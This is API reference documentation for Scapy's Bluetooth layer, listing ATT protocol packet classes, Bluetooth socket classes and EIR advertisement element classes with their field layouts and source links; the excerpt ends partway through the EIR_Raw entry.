class scapy.layers.bluetooth.ATT_Handle_Value_Indication(_pkt, /, *, gatt_handle=0, value=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L844-L849]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          GATT HANDLE          |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. ATT_Handle_Value_Indication                 


ATT_Handle_Value_Indication fields






	gatt_handle

	XLEShortField

	0



	value

	StrField

	b''















	
class scapy.layers.bluetooth.ATT_Handle_Value_Notification(_pkt, /, *, gatt_handle=0, value=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L809-L812]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          GATT HANDLE          |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. ATT_Handle_Value_Notification                


ATT_Handle_Value_Notification fields






	gatt_handle

	XLEShortField

	0



	value

	StrField

	b''















	
class scapy.layers.bluetooth.ATT_Handle_Variable(_pkt, /, *, handle=0, value=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L713-L725]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L724-L725]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             HANDLE            |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. ATT_Handle_Variable                     


ATT_Handle_Variable fields






	handle

	XLEShortField

	0



	value

	XStrLenField

	0











	
val_length

	








	
class scapy.layers.bluetooth.ATT_Hdr(_pkt, /, *, opcode=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L617-L619]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OPCODE    |
+-+-+-+-+-+-+-+-+

                           Fig. ATT_Hdr                           


ATT_Hdr fields






	opcode

	XByteField

	None











	
payload_guess

	Possible sublayers:
ATT_Error_Response, ATT_Exchange_MTU_Request, ATT_Exchange_MTU_Response, ATT_Execute_Write_Request, ATT_Execute_Write_Response, ATT_Find_By_Type_Value_Request, ATT_Find_By_Type_Value_Response, ATT_Find_Information_Request, ATT_Find_Information_Response, ATT_Handle_Value_Indication, ATT_Handle_Value_Notification, ATT_Prepare_Write_Request, ATT_Prepare_Write_Response, ATT_Read_Blob_Request, ATT_Read_Blob_Response, ATT_Read_By_Group_Type_Request, ATT_Read_By_Group_Type_Response, ATT_Read_By_Type_Request_128bit, ATT_Read_By_Type_Request, ATT_Read_By_Type_Response, ATT_Read_Multiple_Request, ATT_Read_Multiple_Response, ATT_Read_Request, ATT_Read_Response, ATT_Write_Command, ATT_Write_Request, ATT_Write_Response










	
class scapy.layers.bluetooth.ATT_Prepare_Write_Request(_pkt, /, *, gatt_handle=0, offset=0, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L796-L802]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          GATT HANDLE          |             OFFSET            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. ATT_Prepare_Write_Request                  


ATT_Prepare_Write_Request fields






	gatt_handle

	XLEShortField

	0



	offset

	LEShortField

	0



	data

	StrField

	b''















	
class scapy.layers.bluetooth.ATT_Prepare_Write_Response(_pkt, /, *, gatt_handle=0, offset=0, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L805-L806]

	Bases: ATT_Prepare_Write_Request


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          GATT HANDLE          |             OFFSET            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. ATT_Prepare_Write_Response                  


ATT_Prepare_Write_Response fields






	gatt_handle

	XLEShortField

	0



	offset

	LEShortField

	0



	data

	StrField

	b''















	
class scapy.layers.bluetooth.ATT_Read_Blob_Request(_pkt, /, *, gatt_handle=0, offset=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L829-L834]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          GATT HANDLE          |             OFFSET            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. ATT_Read_Blob_Request                    


ATT_Read_Blob_Request fields






	gatt_handle

	XLEShortField

	0



	offset

	LEShortField

	0















	
class scapy.layers.bluetooth.ATT_Read_Blob_Response(_pkt, /, *, value=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L837-L841]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. ATT_Read_Blob_Response                    


ATT_Read_Blob_Response fields






	value

	StrField

	b''















	
class scapy.layers.bluetooth.ATT_Read_By_Group_Type_Request(_pkt, /, *, start=0, end=65535, uuid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L767-L771]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             START             |              END              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              UUID             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. ATT_Read_By_Group_Type_Request                


ATT_Read_By_Group_Type_Request fields






	start

	XLEShortField

	0



	end

	XLEShortField

	65535



	uuid

	XLEShortField

	0















	
class scapy.layers.bluetooth.ATT_Read_By_Group_Type_Response(_pkt, /, *, length=0, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L774-L777]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     LENGTH    |              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. ATT_Read_By_Group_Type_Response               


ATT_Read_By_Group_Type_Response fields






	length

	XByteField

	0



	data

	StrField

	b''















	
class scapy.layers.bluetooth.ATT_Read_By_Type_Request(_pkt, /, *, start=1, end=65535, uuid=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L706-L710]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             START             |              END              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              UUID             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. ATT_Read_By_Type_Request                   


ATT_Read_By_Type_Request fields






	start

	XLEShortField

	1



	end

	XLEShortField

	65535



	uuid

	XLEShortField

	None















	
class scapy.layers.bluetooth.ATT_Read_By_Type_Request_128bit(_pkt, /, *, start=1, end=65535, uuid1=None, uuid2=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L692-L703]

	Bases: Packet


	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L699-L703]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             START             |              END              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             UUID1                             |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             UUID2                             |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. ATT_Read_By_Type_Request_128bit               


ATT_Read_By_Type_Request_128bit fields






	start

	XLEShortField

	1



	end

	XLEShortField

	65535



	uuid1

	XLELongField

	None



	uuid2

	XLELongField

	None















	
class scapy.layers.bluetooth.ATT_Read_By_Type_Response(_pkt, /, *, len=4, handles=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L728-L744]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      LEN      |            HANDLES            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. ATT_Read_By_Type_Response                  


ATT_Read_By_Type_Response fields






	len

	ByteField

	4



	handles

	PacketListField

	[]















	
class scapy.layers.bluetooth.ATT_Read_Multiple_Request(_pkt, /, *, handles=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L757-L759]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            HANDLES            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. ATT_Read_Multiple_Request                  


ATT_Read_Multiple_Request fields






	handles

	FieldListField

	[]















	
class scapy.layers.bluetooth.ATT_Read_Multiple_Response(_pkt, /, *, values=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L762-L764]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             VALUES            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. ATT_Read_Multiple_Response                  


ATT_Read_Multiple_Response fields






	values

	StrField

	b''















	
class scapy.layers.bluetooth.ATT_Read_Request(_pkt, /, *, gatt_handle=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L747-L749]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          GATT HANDLE          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. ATT_Read_Request                       


ATT_Read_Request fields






	gatt_handle

	XLEShortField

	0















	
class scapy.layers.bluetooth.ATT_Read_Response(_pkt, /, *, value=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L752-L754]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. ATT_Read_Response                      


ATT_Read_Response fields






	value

	StrField

	b''















	
class scapy.layers.bluetooth.ATT_Write_Command(_pkt, /, *, gatt_handle=0, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L786-L789]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          GATT HANDLE          |              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. ATT_Write_Command                      


ATT_Write_Command fields






	gatt_handle

	XLEShortField

	0



	data

	StrField

	b''















	
class scapy.layers.bluetooth.ATT_Write_Request(_pkt, /, *, gatt_handle=0, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L780-L783]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          GATT HANDLE          |              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. ATT_Write_Request                      


ATT_Write_Request fields






	gatt_handle

	XLEShortField

	0



	data

	StrField

	b''















	
class scapy.layers.bluetooth.ATT_Write_Response(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L792-L793]

	Bases: Packet


	
aliastypes

	








	
exception scapy.layers.bluetooth.BluetoothCommandError[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L2470-L2471]

	Bases: BaseException






	
class scapy.layers.bluetooth.BluetoothHCISocket(iface=65536, type=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L2500-L2516]

	Bases: SuperSocket


	
desc = 'read/write on a BlueTooth HCI socket'

	




	
recv(x=65535)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L2515-L2516]

	








	
class scapy.layers.bluetooth.BluetoothL2CAPSocket(bt_address)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L2474-L2487]

	Bases: SuperSocket


	
desc = 'read/write packets on a connected L2CAP socket'

	




	
recv(x=65535)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L2486-L2487]

	








	
class scapy.layers.bluetooth.BluetoothMonitorSocket[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L2624-L2639]

	Bases: _BluetoothLibcSocket


	
desc = 'Read/write over a Bluetooth monitor channel'

	




	
recv(x=65535)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L2638-L2639]

	








	
class scapy.layers.bluetooth.BluetoothRFCommSocket(bt_address, port=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L2490-L2497]

	Bases: BluetoothL2CAPSocket

read/write packets on a connected RFCOMM socket






	
exception scapy.layers.bluetooth.BluetoothSocketError[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L2466-L2467]

	Bases: BaseException






	
class scapy.layers.bluetooth.BluetoothUserSocket(adapter_index=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L2596-L2621]

	Bases: _BluetoothLibcSocket


	
desc = 'read/write H4 over a Bluetooth user channel'

	




	
recv(x=65535)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L2620-L2621]

	




	
send_command(cmd)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L2610-L2618]

	








	
class scapy.layers.bluetooth.EIR_CompleteList128BitServiceUUIDs(_pkt, /, *, svc_uuids=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1041-L1047]

	Bases: EIR_Element


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           SVC UUIDS           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

             Fig. EIR_CompleteList128BitServiceUUIDs              


EIR_CompleteList128BitServiceUUIDs fields






	svc_uuids

	FieldListField

	[]















	
class scapy.layers.bluetooth.EIR_CompleteList16BitServiceUUIDs(_pkt, /, *, svc_uuids=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1028-L1034]

	Bases: EIR_Element


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           SVC UUIDS           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              Fig. EIR_CompleteList16BitServiceUUIDs              


EIR_CompleteList16BitServiceUUIDs fields






	svc_uuids

	FieldListField

	[]















	
class scapy.layers.bluetooth.EIR_CompleteLocalName(_pkt, /, *, local_name=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1054-L1058]

	Bases: EIR_Element


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           LOCAL NAME          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. EIR_CompleteLocalName                    


EIR_CompleteLocalName fields






	local_name

	StrLenField

	b''















	
class scapy.layers.bluetooth.EIR_Device_ID(_pkt, /, *, vendor_id_source=0, vendor_id=0, product_id=0, version=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1134-L1141]

	Bases: EIR_Element


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        VENDOR ID SOURCE       |           VENDOR ID           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           PRODUCT ID          |            VERSION            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. EIR_Device_ID                        


EIR_Device_ID fields






	vendor_id_source

	XLEShortField

	0



	vendor_id

	XLEShortField

	0



	product_id

	XLEShortField

	0



	version

	XLEShortField

	0















	
class scapy.layers.bluetooth.EIR_Element(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L995-L1008]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L998-L1000]

	




	
static length_from(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1002-L1008]

	








	
class scapy.layers.bluetooth.EIR_Flags(_pkt, /, *, flags=<Flag 2 (general_disc_mode)>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1018-L1025]

	Bases: EIR_Element


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     FLAGS     |
+-+-+-+-+-+-+-+-+

                          Fig. EIR_Flags                          


EIR_Flags fields






	flags

	FlagsField

	<Flag 2 (general_disc_mode)>















	
class scapy.layers.bluetooth.EIR_Hdr(_pkt, /, *, len=None, type=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L930-L992]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      LEN      |      TYPE     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. EIR_Hdr                           


EIR_Hdr fields






	len

	LenField

	None



	type

	ByteEnumField

	0











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L988-L992]

	




	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L985-L986]

	




	
payload_guess

	Possible sublayers:
EIR_CompleteList128BitServiceUUIDs, EIR_CompleteList16BitServiceUUIDs, EIR_CompleteLocalName, EIR_Device_ID, EIR_Flags, EIR_IncompleteList128BitServiceUUIDs, EIR_IncompleteList16BitServiceUUIDs, EIR_Manufacturer_Specific_Data, EIR_Raw, EIR_ServiceData16BitUUID, EIR_ShortenedLocalName, EIR_TX_Power_Level










	
class scapy.layers.bluetooth.EIR_IncompleteList128BitServiceUUIDs(_pkt, /, *, svc_uuids=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1050-L1051]

	Bases: EIR_CompleteList128BitServiceUUIDs


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           SVC UUIDS           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

            Fig. EIR_IncompleteList128BitServiceUUIDs             


EIR_IncompleteList128BitServiceUUIDs fields






	svc_uuids

	FieldListField

	[]















	
class scapy.layers.bluetooth.EIR_IncompleteList16BitServiceUUIDs(_pkt, /, *, svc_uuids=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1037-L1038]

	Bases: EIR_CompleteList16BitServiceUUIDs


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           SVC UUIDS           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

             Fig. EIR_IncompleteList16BitServiceUUIDs             


EIR_IncompleteList16BitServiceUUIDs fields






	svc_uuids

	FieldListField

	[]















	
class scapy.layers.bluetooth.EIR_Manufacturer_Specific_Data(_pkt, /, *, company_id=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1070-L1131]

	Bases: EIR_Element


	
aliastypes

	




	
default_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1119-L1126]

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1128-L1131]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           COMPANY ID          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. EIR_Manufacturer_Specific_Data                


EIR_Manufacturer_Specific_Data fields






	company_id

	XLEShortField

	None











	
payload_guess

	Possible sublayers:
Apple_BLE_Frame






	
classmethod register_magic_payload(payload_cls, magic_check=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1079-L1117]

	Registers a payload type that uses magic data.

Traditional payloads require registration of a Bluetooth Company ID
(requires company membership of the Bluetooth SIG), or a Bluetooth
Short UUID (requires a once-off payment).

There are alternatives which don’t require registration (such as
128-bit UUIDs), but the biggest consumer of energy in a beacon is the
radio – so the energy consumption of a beacon is proportional to the
number of bytes in a beacon frame.

Some beacon formats side-step this issue by using the Company ID of
their beacon hardware manufacturer, and adding a “magic data sequence”
at the start of the Manufacturer Specific Data field.

Examples of this are AltBeacon and GeoBeacon.

For an example of this method in use, see scapy.contrib.altbeacon.


	Parameters:

	
	payload_cls (Type[scapy.packet.Packet]) – A reference to a Packet subclass to register as a payload.


	magic_check (Callable[[bytes], bool]) – (optional) callable to use to if a payload should be associated
with this type. If not supplied, payload_cls.magic_check is
used instead.






	Raises:

	TypeError – If magic_check is not specified,
and payload_cls.magic_check is not implemented.










	
registered_magic_payloads = {<class 'scapy.contrib.altbeacon.AltBeacon'>: <bound method AltBeacon.magic_check of <class 'scapy.contrib.altbeacon.AltBeacon'>>}

	








	
class scapy.layers.bluetooth.EIR_Raw(_pkt, /, *, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1011-L1015]

	Bases: EIR_Element


	
aliastypes

	




	
